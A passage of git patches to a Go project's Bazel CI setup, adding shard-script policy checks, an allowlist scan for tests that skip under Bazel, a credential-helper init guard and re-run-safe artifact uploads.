[]string { + race := "" + if c.race { + race = "-race " + } + out := []string{`if [ -x "$` + c.binVar + `" ]; then`} + if c.cd != "" { + out = append(out, "cd "+c.cd) + } + return append(out, + `exec "$`+c.binVar+`" -test.v -test.count=1 -test.timeout=`+c.timeout+` \`, + `-test.run "$RUN_REGEX" \`, + `"$@"`, + "else", + `echo "Warning: pre-built test binary not found at $`+c.binVar+`, falling back to go test"`, + `exec go test -tags=`+c.goTags+` -v `+race+`-count=1 -timeout `+c.timeout+` \`, + `-run "$RUN_REGEX" \`, + `"$@" \`, + c.pkg, + "fi", + ) +} + +const bazelShardRunRegex = `RUN_REGEX="^($(IFS='|'; echo "${SHARD_TESTS[*]}"))$"` + +// shardScriptNarrowing: why src does not run exactly c.tail() as its last code +// lines, builds RUN_REGEX from the selection exactly once, and outside the +// tail neither runs tests nor selects, skips or switches them. +func shardScriptNarrowing(c bazelShardScript, src string) []string { + var errs []string + var code []string + for _, line := range strings.Split(src, "\n") { + line = strings.TrimSpace(line) + if line != "" && !strings.HasPrefix(line, "#") { + code = append(code, line) + } + } + want := c.tail() + if len(code) < len(want) || !reflect.DeepEqual(code[len(code)-len(want):], want) { + got := code + if len(code) > len(want) { + got = code[len(code)-len(want):] + } + return append(errs, fmt.Sprintf("%s: the command that runs the shard changed; want exactly:\n%s\ngot:\n%s", c.script, strings.Join(want, "\n"), strings.Join(got, "\n"))) + } + narrow := regexp.MustCompile(`-test\.|(^|\s)-(short|run|skip|count|list|bench)\b|\bexec\b|\bgo (test|run)\b|"\$@"|\$\*|\beval\b|BEADS_TEST_(SKIP|EMBEDDED_DOLT|PROXIED_SERVER|ENV_RUN_DOLT|REQUIRE_DOLT_CONTAINER|DOLT_SERVER\b)|GOFLAGS|TESTBRIDGE|RUN_REGEX`) + runRegex := 0 + for _, line := range code[:len(code)-len(want)] { + if line == bazelShardRunRegex { + runRegex++ + continue + } + if narrow.MatchString(line) { + errs = append(errs, fmt.Sprintf("%s: %q can run, select, skip or switch the shard's tests outside its pinned command", c.script, line)) + } + } + if runRegex != 1 { + errs = append(errs, fmt.Sprintf("%s: want exactly one %s, got %d", c.script, bazelShardRunRegex, runRegex)) + } + return errs +} + +// The shard script check itself, on the real scripts and on narrowing edits +// of one (review F2 mutations m2 and m3). +func TestShardScriptNarrowingCheck(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("scripts_test's runfiles hold no .github/scripts") + } + root := sourceRepoRoot(t) + scripts := map[string]bool{} + for _, c := range bazelShardScripts { + scripts[c.script] = true + } + // Every retired lane's sharded target runs one of these scripts. + for _, c := range []string{"embedded-test-shard.sh", "embedded-storage-test-shard.sh", "proxied-test-shard.sh", "server-storage-test-shard.sh"} { + if !scripts[".github/scripts/"+c] { + t.Errorf("bazelShardScripts lacks %s", c) + } + } + c := bazelShardScripts[3] + src := readPolicyFile(t, root, c.script) + for name, edit := range map[string][2]string{ + "exec -test.short": {`-test.timeout=15m \`, `-test.timeout=15m -test.short \`}, + "export BEADS_TEST_SKIP": {"set -euo pipefail\n", "set -euo pipefail\nexport BEADS_TEST_SKIP=dolt\n"}, + "GOFLAGS": {"set -euo pipefail\n", "set -euo pipefail\nexport GOFLAGS=-short\n"}, + "second exec": {"set -euo pipefail\n", "set -euo pipefail\n[ -n \"${X:-}\" ] && exec true\n"}, + "narrowed regex": {bazelShardRunRegex, `RUN_REGEX="^(${SHARD_TESTS[0]})$"`}, + "go test fallback -short": {`-v -count=1 -timeout 15m \`, `-v -short -count=1 -timeout 15m \`}, + } { + if strings.Count(src, edit[0]) == 0 { + t.Fatalf("%s: mutation %q no longer applies", c.script, name) + } + if len(shardScriptNarrowing(c, strings.Replace(src, edit[0], edit[1], 1))) == 0 { + t.Errorf("%s: mutation %q passes the shard script check", c.script, name) + } } } diff --git a/tools/bazel/check_shard_coverage.py b/tools/bazel/check_shard_coverage.py index df78c5362..0e574d348 100755 --- a/tools/bazel/check_shard_coverage.py +++ b/tools/bazel/check_shard_coverage.py @@ -28,6 +28,7 @@ Exit status: 0 if every shard matches, 1 otherwise. """ import argparse +import concurrent.futures import os import re import subprocess @@ -107,9 +108,13 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): problems.append(f"{label}: the BEP has {tested.get(label, 0)} shard(s), want {shards} ({script})") continue total = 0 + # The scripts' hash fallback forks per test (seconds per shard for + # the server suite's ~1200 tests): list the shards concurrently. + with concurrent.futures.ThreadPoolExecutor(max_workers=min(8, os.cpu_count() or 2)) as pool: + listings = [pool.submit(lister, script, k, shards) for k in range(1, shards + 1)] for k, xml_path in enumerate(testlog_xmls(testlogs, label, shards), start=1): try: - want = lister(script, k, shards) + want = listings[k - 1].result() except (OSError, subprocess.CalledProcessError) as e: problems.append(f"{label}: {script} {k} {shards} failed: {e}") continue From fe6bd6301ffbabc41d0efd56682dae0742e949a1 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 2 Oct 2026 05:42:05 -0700 Subject: [PATCH 045/325] ci: fix red nightly (Bazel-skip allowlist, credential helper init); rerun-safe Bazel artifacts (#7096) * fix(ci): allowlist the scripts tests that skip under Bazel, and check new ones before merge nightly.yml's skip-parity check (equivalence.py --go-test-json) went red on 2026-10-02 (run 36955306415): TestBazelGatedLanesNeverRetryFlakyTests and TestCheckShardCoverageScript pass under go test and deliberately t.Skip under Bazel (their inputs are not in //scripts:scripts_test's runfiles), but had no `skip` allowlist entry. Step 2's TestShardScriptsListOnlyRealTests and TestShardScriptNarrowingCheck, now on main, have the same shape and would have turned the next nightly red. Add the four entries, and TestBazelOnlySkipsAreAllowlisted: it parses every _test.go file of the module and requires each top-level test whose t.Skip is guarded by TEST_SRCDIR or bazeltest.IsBazel() (directly or through a helper) to have an entry, so a new one fails under go test before the merge instead of in the next nightly. It skips under Bazel itself and is allowlisted too. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(test): keep cmd/bd's integration init out of the credential-command helper process nightly.yml's Full Test Suite (go test -tags=integration ./...) failed TestApplyInitGatewayCredentialAdoptsToken and ...FailsClosed on 2026-10-02 (run 36955306415): credentialcmd re-execs the test binary as the credential helper, and cli_fast_test.go's integration-tagged init() runs in that child before TestMain can dispatch it, tries `go build .` from the helper's working directory and panics, so the helper exits 2. Add credentialcmd.IsHelperProcess (Dispatch's two gates) and return from that init early, as it already does for the worktree-remove helper. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): overwrite fixed-name artifacts so "Re-run failed jobs" does not 409 A job re-run is the same workflow run, and upload-artifact v4+ refuses a second artifact of the same name there (409 Conflict). bazel-test uploads the bd package even after its tests fail, so re-running a failed Bazel / test lane, the documented recovery for an eviction or a flake, failed on the upload even when every test passed. Set overwrite: true on all eight uploads in bazel.yml (the bd package, BUILD sync patch, every lane's test logs) and policy-test it. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(test): keep skip-scan fixture functions out of line-based test discovery The fixture source in bazel_skip_allowlist_test.go had top-level `func TestXxx(t *testing.T)` lines, which equivalence.py (and the CI shard scripts) count as tests of the scripts package; write them with a FUNC placeholder and substitute at write time. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 8 + cmd/bd/cli_fast_test.go | 7 + .../testutil/credentialcmd/credentialcmd.go | 31 +- scripts/BUILD.bazel | 1 + scripts/bazel_skip_allowlist_test.go | 390 ++++++++++++++++++ scripts/ci_workflow_test.go | 24 ++ tools/bazel/equivalence_allowlist.txt | 10 + 7 files changed, 463 insertions(+), 8 deletions(-) create mode 100644 scripts/bazel_skip_allowlist_test.go diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index a8b35c24c..91711fa3a 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -402,6 +402,7 @@ jobs: if: ${{ always() && steps.bd-artifact.outcome == 'success' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: ${{ inputs.build-artifact-name || 'ci-build-artifacts' }} path: ${{ runner.temp }}/bd-artifacts/ retention-days: 1 @@ -485,6 +486,7 @@ jobs: if: ${{ always() && steps.sync.outcome == 'failure' && github.event_name != 'pull_request_target' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-sync-patch path: ${{ runner.temp }}/bazel-sync-patch/ if-no-files-found: ignore @@ -494,6 +496,7 @@ jobs: if: ${{ failure() && steps.test.outcome == 'failure' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-testlogs path: | bazel-testlogs/**/test.log @@ -766,6 +769,7 @@ jobs: if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-embedded-testlogs path: | bazel-testlogs/**/test.log @@ -858,6 +862,7 @@ jobs: if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-integration-testlogs path: | bazel-testlogs/**/test.log @@ -936,6 +941,7 @@ jobs: if: ${{ failure() && steps.test.outcome == 'failure' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-${{ env.BAZEL_DOLT_LANE }}-testlogs path: | bazel-testlogs/**/test.log @@ -1043,6 +1049,7 @@ jobs: if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-proxied-testlogs path: | bazel-testlogs/**/test.log @@ -1152,6 +1159,7 @@ jobs: if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: + overwrite: true # a job re-run is the same run: replace, not 409 name: bazel-server-storage-testlogs path: | bazel-testlogs/**/test.log diff --git a/cmd/bd/cli_fast_test.go b/cmd/bd/cli_fast_test.go index 93f179d3a..6ecabd91c 100644 --- a/cmd/bd/cli_fast_test.go +++ b/cmd/bd/cli_fast_test.go @@ -16,6 +16,7 @@ import ( "time" "github.com/steveyegge/beads/internal/testutil/bazeltest" + "github.com/steveyegge/beads/internal/testutil/credentialcmd" ) // Fast CLI tests converted from scripttest suite @@ -1015,6 +1016,12 @@ func init() { if os.Getenv(worktreeRemoveHelperEnv) != "" { return } + // Likewise the credential-command helper (internal/testutil/credentialcmd): + // this init runs before TestMain dispatches it, in the helper's cwd, where + // the `go build .` fallback panics and the fixture reports exit 2. + if credentialcmd.IsHelperProcess() { + return + } // Prebuilt fast path (scripts/test.sh and CI export this), else build // once. No repo-root ./bd reuse: a stale checkout-root binary silently // substitutes itself for the source under test (wy-4mtr0). diff --git a/internal/testutil/credentialcmd/credentialcmd.go b/internal/testutil/credentialcmd/credentialcmd.go index 8795ac3b7..8e6d17487 100644 --- a/internal/testutil/credentialcmd/credentialcmd.go +++ b/internal/testutil/credentialcmd/credentialcmd.go @@ -52,18 +52,33 @@ type preparedFixture struct { // without the sentinel is simply not ours, so it falls through to its own // TestMain rather than being refused. func Dispatch() (int, bool) { - if os.Getenv(helperProcessEnv) != "1" { - return 0, false - } - - for i, arg := range os.Args { - if arg == helperSentinel { - return runProtocol(os.Args[i+1:], os.Stdout, os.Stderr), true - } + if i := helperArgIndex(); i >= 0 { + return runProtocol(os.Args[i+1:], os.Stdout, os.Stderr), true } return 0, false } +// IsHelperProcess reports whether this process is a credential helper +// re-exec (the same two gates as Dispatch). Package init functions, which run +// before TestMain can call Dispatch, use it to skip suite setup the helper +// never needs: cmd/bd's integration-tagged init would otherwise try to build +// bd from the helper's working directory and panic. +func IsHelperProcess() bool { + return helperArgIndex() >= 0 +} + +func helperArgIndex() int { + if os.Getenv(helperProcessEnv) != "1" { + return -1 + } + for i, arg := range os.Args { + if arg == helperSentinel { + return i + } + } + return -1 +} + // Constructor contract — Emit, Exit23 and Marker all share it, and it is more // than "returns a string": // diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 8aff57276..082661b75 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -20,6 +20,7 @@ go_test( "bazel_autofix_push_test.go", "bazel_farm_workflow_test.go", "bazel_policy_test.go", + "bazel_skip_allowlist_test.go", "check_build_tags_test.go", "check_doc_freshness_test.go", "check_testing_short_test.go", diff --git a/scripts/bazel_skip_allowlist_test.go b/scripts/bazel_skip_allowlist_test.go new file mode 100644 index 000000000..bc89c5212 --- /dev/null +++ b/scripts/bazel_skip_allowlist_test.go @@ -0,0 +1,390 @@ +package scripts_test + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "path" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" +) + +// Every Go test that deliberately skips itself under Bazel (a t.Skip guarded +// by TEST_SRCDIR or bazeltest.IsBazel(), directly or through a helper it +// calls) has a `skip` entry in tools/bazel/equivalence_allowlist.txt. +// +// The PR run of the Bazel lane cannot tell a test that skips under Bazel from +// one that runs: only nightly.yml's skip-parity check (equivalence.py +// --go-test-json) can, after the merge, and a missing entry turns that +// nightly red (as TestBazelGatedLanesNeverRetryFlakyTests and +// TestCheckShardCoverageScript did on 2026-10-02). The entries are also what +// keeps those tests running under go test where the Bazel lane replaces a +// go test job. This check finds them before the merge, from the source. +// +// Only top-level tests are considered: a subtest's skip is invisible to +// equivalence.py, which compares top-level tests. +func TestBazelOnlySkipsAreAllowlisted(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("walks every _test.go file in the source checkout; runs under go test") + } + root := sourceRepoRoot(t) + entries := readSkipAllowlist(t, filepath.Join(root, "tools", "bazel", "equivalence_allowlist.txt")) + + found, err := bazelSkippingTests(root) + if err != nil { + t.Fatal(err) + } + if len(found) < 8 { + t.Fatalf("found only %d Bazel-skipping tests (%v); the scan is broken", len(found), found) + } + for _, f := range found { + if !skipAllowlisted(entries, f.pkg, f.test) { + t.Errorf("%s %s skips under Bazel (%s) but tools/bazel/equivalence_allowlist.txt has no `%s %s skip # why` entry", + f.pkg, f.test, f.where, f.pkg, f.test) + } + } +} + +// The scan itself, on fixtures: direct guards of either form, a skip helper, +// and the shapes it must not report. +func TestBazelSkippingTestsScan(t *testing.T) { + dir := t.TempDir() + write := func(rel, src string) { + p := filepath.Join(dir, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(src), 0o644); err != nil { + t.Fatal(err) + } + } + write("go.mod", "module example.com/m\n") + write("a/a_test.go", fixtureFuncs(`package a + +import ( + "os" + "testing" + + "example.com/m/bazeltest" +) + +FUNC skipUnderBazel(t *testing.T) { + if bazeltest.IsBazel() { + t.Skip("no") + } +} + +FUNC TestEnvGuard(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("runfiles") + } +} + +FUNC TestIsBazelGuard(t *testing.T) { + if bazeltest.IsBazel() { + t.Skipf("%s", "x") + } +} + +FUNC TestViaHelper(t *testing.T) { + skipUnderBazel(t) +} + +FUNC TestLaterGuard(t *testing.T) { + _ = 1 + if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != "" { + t.SkipNow() + } +} + +FUNC TestGoTestOnlySkip(t *testing.T) { + if os.Getenv("TEST_SRCDIR") == "" { + t.Skip("only under go test") + } +} + +FUNC TestNotBazel(t *testing.T) { + if !bazeltest.IsBazel() { + t.Skip("go test only") + } +} + +FUNC TestSubtestOnly(t *testing.T) { + t.Run("x", func(t *testing.T) { + if bazeltest.IsBazel() { + t.Skip("subtest") + } + }) +} + +FUNC TestNoSkip(t *testing.T) { + if bazeltest.IsBazel() { + return + } +} + +FUNC helperTakingM(m *testing.M) {} +`)) + write("node_modules/x/x_test.go", "package x\nimport \"testing\"\nfunc TestIgnored(t *testing.T) { if bazeltest.IsBazel() { t.Skip() } }\n") + write("sub/go.mod", "module example.com/sub\n") + write("sub/s_test.go", "package s\nimport \"testing\"\nfunc TestOtherModule(t *testing.T) { if bazeltest.IsBazel() { t.Skip() } }\n") + + found, err := bazelSkippingTests(dir) + if err != nil { + t.Fatal(err) + } + var got []string + for _, f := range found { + got = append(got, f.pkg+" "+f.test) + } + sort.Strings(got) + want := []string{"a TestEnvGuard", "a TestIsBazelGuard", "a TestLaterGuard", "a TestViaHelper"} + if strings.Join(got, ",") != strings.Join(want, ",") { + t.Errorf("scan found %v, want %v", got, want) + } + + entries := []skipEntry{{"a", "TestEnv*"}, {"a", "TestIsBazelGuard"}} + for test, want := range map[string]bool{"TestEnvGuard": true, "TestIsBazelGuard": true, "TestViaHelper": false} { + if got := skipAllowlisted(entries, "a", test); got != want { + t.Errorf("skipAllowlisted(a, %s) = %v, want %v", test, got, want) + } + } +} + +type bazelSkip struct{ pkg, test, where string } + +type skipEntry struct{ pkg, test string } + +// readSkipAllowlist: the allowlist's `skip` entries, in equivalence.py's +// format ( skip # why). +func readSkipAllowlist(t *testing.T, file string) []skipEntry { + t.Helper() + data, err := os.ReadFile(file) + if err != nil { + t.Fatal(err) + } + var out []skipEntry + for _, line := range strings.Split(string(data), "\n") { + body, _, _ := strings.Cut(line, "#") + f := strings.Fields(body) + if len(f) == 3 && f[2] == "skip" { + out = append(out, skipEntry{f[0], f[1]}) + } + } + return out +} + +// skipAllowlisted matches like equivalence.py's allowed() (fnmatch, which +// path.Match equals for these names). +func skipAllowlisted(entries []skipEntry, pkg, test string) bool { + for _, e := range entries { + pm, _ := path.Match(e.pkg, pkg) + tm, _ := path.Match(e.test, test) + if pm && tm { + return true + } + } + return false +} + +var bazelGuardTestFunc = regexp.MustCompile(`^Test([^a-z].*)?$`) + +// bazelSkippingTests parses every _test.go file of the module rooted at +// root (not nested modules, node_modules, .git, .beads or bazel-* output +// trees) and returns the top-level tests that skip under Bazel. +func bazelSkippingTests(root string) ([]bazelSkip, error) { + byDir := map[string][]*ast.File{} + fset := token.NewFileSet() + err := filepath.WalkDir(root, func(p string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + name := d.Name() + if p != root && (name == ".git" || name == "node_modules" || name == ".beads" || strings.HasPrefix(name, "bazel-")) { + return filepath.SkipDir + } + if p != root { + if _, err := os.Stat(filepath.Join(p, "go.mod")); err == nil { + return filepath.SkipDir + } + } + return nil + } + if !strings.HasSuffix(p, "_test.go") || d.Type()&os.ModeSymlink != 0 { + return nil + } + f, err := parser.ParseFile(fset, p, nil, 0) + if err != nil { + return err + } + byDir[filepath.Dir(p)] = append(byDir[filepath.Dir(p)], f) + return nil + }) + if err != nil { + return nil, err + } + var out []bazelSkip + for dir, files := range byDir { + rel, _ := filepath.Rel(root, dir) + pkg := filepath.ToSlash(rel) + // Package-level helpers (per package name: _test packages share the + // directory) that skip under Bazel. + helpers := map[string]bool{} + for _, f := range files { + for _, decl := range f.Decls { + if fn, ok := decl.(*ast.FuncDecl); ok && fn.Recv == nil && fn.Body != nil && hasBazelSkip(fn.Body) { + helpers[f.Name.Name+"."+fn.Name.Name] = true + } + } + } + for _, f := range files { + for _, decl := range f.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok || fn.Recv != nil || fn.Body == nil || !bazelGuardTestFunc.MatchString(fn.Name.Name) || !takesTestingT(fn) { + continue + } + where := "" + if hasBazelSkip(fn.Body) { + where = "guarded t.Skip" + } else if h := calledHelper(fn.Body, f.Name.Name, helpers); h != "" { + where = "via " + h + } + if where != "" { + out = append(out, bazelSkip{pkg, fn.Name.Name, where}) + } + } + } + } + sort.Slice(out, func(i, j int) bool { return out[i].pkg+" "+out[i].test < out[j].pkg+" "+out[j].test }) + return out, nil +} + +func takesTestingT(fn *ast.FuncDecl) bool { + params := fn.Type.Params.List + if len(params) != 1 { + return false + } + star, ok := params[0].Type.(*ast.StarExpr) + if !ok { + return false + } + sel, ok := star.X.(*ast.SelectorExpr) + return ok && sel.Sel.Name == "T" +} + +// hasBazelSkip: an if statement outside any closure whose condition is +// true under Bazel (TEST_SRCDIR non-empty, or bazeltest.IsBazel()) and +// whose body calls a Skip method. +func hasBazelSkip(body *ast.BlockStmt) bool { + found := false + ast.Inspect(body, func(n ast.Node) bool { + if found { + return false + } + switch n := n.(type) { + case *ast.FuncLit: + return false + case *ast.IfStmt: + if bazelCond(n.Cond) && callsSkip(n.Body) { + found = true + return false + } + } + return true + }) + return found +} + +func bazelCond(cond ast.Expr) bool { + switch c := cond.(type) { + case *ast.ParenExpr: + return bazelCond(c.X) + case *ast.CallExpr: + sel, ok := c.Fun.(*ast.SelectorExpr) + return ok && sel.Sel.Name == "IsBazel" + case *ast.BinaryExpr: + if c.Op == token.LAND { + return bazelCond(c.X) || bazelCond(c.Y) + } + if c.Op != token.NEQ { + return false + } + lit, ok := c.Y.(*ast.BasicLit) + if !ok || lit.Value != `""` { + return false + } + return mentionsTestSrcdir(c.X) + } + return false +} + +// mentionsTestSrcdir: os.Getenv("TEST_SRCDIR") itself, or a variable (the +// `if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != ""` form; such a +// variable is only ever bound that way in these tests). +func mentionsTestSrcdir(e ast.Expr) bool { + switch x := e.(type) { + case *ast.CallExpr: + for _, a := range x.Args { + if lit, ok := a.(*ast.BasicLit); ok && lit.Value == `"TEST_SRCDIR"` { + return true + } + } + case *ast.Ident: + if x.Obj != nil { + if as, ok := x.Obj.Decl.(*ast.AssignStmt); ok && len(as.Rhs) == 1 { + return mentionsTestSrcdir(as.Rhs[0]) + } + } + } + return false +} + +func callsSkip(body *ast.BlockStmt) bool { + found := false + ast.Inspect(body, func(n ast.Node) bool { + if _, ok := n.(*ast.FuncLit); ok { + return false + } + if call, ok := n.(*ast.CallExpr); ok { + if sel, ok := call.Fun.(*ast.SelectorExpr); ok && (sel.Sel.Name == "Skip" || sel.Sel.Name == "Skipf" || sel.Sel.Name == "SkipNow") { + found = true + } + } + return !found + }) + return found +} + +// calledHelper: a skip helper of the same package that the test calls +// outside any closure. +func calledHelper(body *ast.BlockStmt, pkgName string, helpers map[string]bool) string { + name := "" + ast.Inspect(body, func(n ast.Node) bool { + if name != "" { + return false + } + if _, ok := n.(*ast.FuncLit); ok { + return false + } + if call, ok := n.(*ast.CallExpr); ok { + if id, ok := call.Fun.(*ast.Ident); ok && helpers[pkgName+"."+id.Name] { + name = id.Name + } + } + return true + }) + return name +} + +// fixtureFuncs turns the "FUNC " placeholders of fixture source back into +// "func ": written literally, the fixture's `func TestXxx(t *testing.T)` lines +// would be counted as real tests of this package by line-based test discovery +// (tools/bazel/equivalence.py, the CI shard scripts). +func fixtureFuncs(src string) string { + return strings.ReplaceAll(src, "\nFUNC ", "\nfunc ") +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 8c585439f..76c5a1070 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -4759,3 +4759,27 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { t.Fatalf("checked only %d files; is the repository root right?", checked) } } + +// Every artifact bazel.yml uploads has a fixed name within its run, and a +// job re-run ("Re-run failed jobs", the documented recovery for a Bazel lane +// that hit a remote cache eviction or a flake) is the same workflow run: +// upload-artifact v4+ refuses a second artifact of the same name there +// (409 Conflict) unless overwrite is set, which would turn a passing retry +// red. bazel-test uploads the bd package even after its tests fail. +func TestBazelWorkflowUploadsSurviveJobReruns(t *testing.T) { + uploads := 0 + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + for _, step := range job.Steps { + if !strings.HasPrefix(step.Uses, "actions/upload-artifact@") { + continue + } + uploads++ + if step.With["overwrite"] != "true" { + t.Errorf("%s step %q uploads %q without overwrite: true; a job re-run's upload would fail with 409", name, step.Name, step.With["name"]) + } + } + } + if uploads < 8 { + t.Errorf("found %d upload steps in %s, want at least 8", uploads, bazelWorkflowName) + } +} diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index c836cd5b7..3d3299962 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -29,3 +29,13 @@ scripts TestBazelTestTagsFollowTaxonomy skip # reads every BUILD file in the ch scripts TestBazelTreeGoSrcsListsEveryPackage skip # walks the source checkout; runs under go test scripts TestCheckTestingShortPassesOnCleanRepoTree skip # walks the whole checkout; runs under go test scripts TestReleaseFormula* skip # .beads/ is in .bazelignore, so the formula cannot be data; runs under go test + +# Policy tests whose inputs (other packages' BUILD files, .github/scripts, +# tools/bazel Python) are not in //scripts:scripts_test's runfiles. Missing +# here, they turned nightly.yml's skip-parity check red (2026-10-02). +# scripts TestBazelOnlySkipsAreAllowlisted keeps this list complete. +scripts TestBazelGatedLanesNeverRetryFlakyTests skip # reads every BUILD and .bzl file in the checkout; runs under go test +scripts TestCheckShardCoverageScript skip # runs tools/bazel/check_shard_coverage.py, not in the runfiles; runs under go test +scripts TestShardScriptsListOnlyRealTests skip # runs the real .github/scripts shard scripts over the source tree; runs under go test +scripts TestShardScriptNarrowingCheck skip # reads the real .github/scripts shard scripts; runs under go test +scripts TestBazelOnlySkipsAreAllowlisted skip # parses every _test.go file in the checkout; runs under go test From 0588af25d197906203851b9312b1796620328567 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 2 Oct 2026 06:08:52 -0700 Subject: [PATCH 046/325] ci: retire pr.yml's legacy PR Core, build, pure-Go, domain+uow and contract jobs where the gated Bazel lanes run them (D2 step 3) (#7097) * ci: retire pr.yml's legacy PR Core, build, pure-Go, domain+uow and contract jobs where the gated Bazel lanes run them (D2 step 3) On same-repo, non-Dependabot pull_requests while the committed BAZEL_RETIRES_LEGACY_PR_LANES flag is "true" (bazel-coverage's new pr_lanes output; the job stays identical in pr.yml and pr-risk.yml), pr.yml's build-artifacts, pr-core-wrapper, check-cmd-bd-puregeo-tests, test-domain-uow and contract-corpus stand down. ci-gate accepts those skips only then, and BAZEL_PR_LANES_RETIRED requires the same run's Bazel test, pure-Go/js-wasm and dolt-server lanes to have run remotely and passed. Revert: commit the flag "false" in both workflows. What the retired jobs did besides their tests keeps running on every PR: - the package gates take bazel-ci-build-artifacts (bazel-test's bd, same layout) where build-artifacts stands down; - the Dolt server fingerprint moves to its own required job; - the Go tests Bazel does not run or skips (equivalence allowlist) run under go test in pr-preflight-platforms' Linux leg, each required to pass (tools/bazel/run_allowlisted_go_tests.py). In mode remote the three lanes' bazel test invocations add --config=sole-run (no cached test results, no whole-invocation retry on remote cache eviction), as steps 1 and 2 do for their lanes. Policy tests: decision matrix and named cases extended to the third flag, gate simulation for the pr.yml tier, artifact consumers, pinned lane steps and rc lines, a repo-wide narrowing scan of BUILD rules and .bzl files, and the allowlisted-test runner. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record the retired pr.yml PR Core, build, pure-Go, domain+uow and contract jobs in the check topology Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): only pr.yml's workflow env sets a BAZEL_RETIRES_* flag, and only the decision step reads one Co-Authored-By: Claude Opus 5.5 (1M context) * ci(pr): keep go test ./scripts/..., go test's vet and the Bazel-skipped tests on every PR (D2 step 3 review F1, F1b, F3, L2) Review of D2 step 3: retiring PR Core removed the only required pre-merge `go test` of the scripts packages, whose policy tests (the D2 guards among them) check part or all of their rules under go test only, and go test's implicit vet for every package (rules_go's go_test runs none). New required job scripts-go-checks (SCRIPTS_GO_CHECKS), on every PR, in PR Core's environment (dolt, git and dolt identity, test-env): - scripts/ci/scripts-go-test.sh: `go test ./scripts/...` with PR Core's flags; - scripts/ci/go-test-vet.sh: `go vet` with cmd/go's defaultVetFlags over ./..., policy-tested equal to the running toolchain's list; - scripts/ci/allowlisted-go-tests.sh, moved here from pr-preflight-platforms. TestBazelOnlySkipsAreAllowlisted also requires every test that runs part of its checks under go test only (a Bazel-guarded return/continue, or a go-test-only block that reports failures) to live under ./scripts, the only packages go test still runs on every PR; and step 3's TestRunAllowlistedGoTestsScript gets its allowlist entry. Package gates on a covered PR whose Bazel call did not run remotely (the farm switch off) now fail in their own step naming BAZEL_PR_LANES_RETIRED instead of on a missing artifact (L2). Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record scripts-go-checks, the skip-allowlist check and the re-run-safe uploads for D2 step 3 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 14 + .github/workflows/bazel.yml | 65 ++- .github/workflows/pr-risk.yml | 22 +- .github/workflows/pr.yml | 278 +++++++-- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 127 +++- scripts/BUILD.bazel | 1 + scripts/bazel_skip_allowlist_test.go | 151 ++++- scripts/ci/allowlisted-go-tests.sh | 25 + scripts/ci/go-test-vet.sh | 24 + scripts/ci/scripts-go-test.sh | 26 + scripts/ci_workflow_test.go | 41 +- scripts/pr_lanes_bazel_coverage_test.go | 746 ++++++++++++++++++++++++ scripts/pr_risk_bazel_coverage_test.go | 153 ++++- scripts/pull_dolt_image_test.go | 2 +- tools/bazel/equivalence_allowlist.txt | 1 + tools/bazel/run_allowlisted_go_tests.py | 156 +++++ 16 files changed, 1715 insertions(+), 117 deletions(-) create 